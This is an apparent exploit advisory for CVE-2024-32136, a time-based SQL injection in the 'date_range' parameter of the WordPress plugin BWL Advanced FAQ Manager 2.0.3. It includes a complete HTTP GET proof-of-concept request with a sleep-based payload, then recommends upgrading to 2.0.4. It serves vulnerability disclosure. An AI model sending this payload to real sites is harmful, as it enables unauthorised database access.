  Date: 14 Apr 2024
  Exploit Author: Ivan Spiridonov (xbz0n)
  Software Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
  Version: 2.0.3
  Tested on: Ubuntu 20.04
  CVE: CVE-2024-32136
  
  SQL Injection
  
  SQL injection is a type of security vulnerability that allows an attacker to interfere with an application's database queries. It usually involves the insertion or "injection" of an SQL query via the input data from the client into the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.
  
  Affected Components
  
  Plugin: BWL Advanced FAQ Manager
  Version: 2.0.3
  Affected Parameter: 'date_range'
  Affected Page: /wp-admin/edit.php
  Description
  
  The vulnerability exists within the 'date_range' parameter used in the 'bwl-advanced-faq-analytics' page of the BWL Advanced FAQ Manager plugin. Authenticated attackers can execute arbitrary SQL commands within the database by manipulating the input to this parameter.
  
  Proof of Concept
  
  Manual Exploitation
  
  The following GET request demonstrates the vulnerability:
  
  GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate, br
  Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
  Connection: close
  Cookie: [Relevant Cookies]
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.
  
  Recommendations
  
  BWL Advanced FAQ Manager v2.0.3 users are advised to update the plugin to the fixed version v2.0.4.
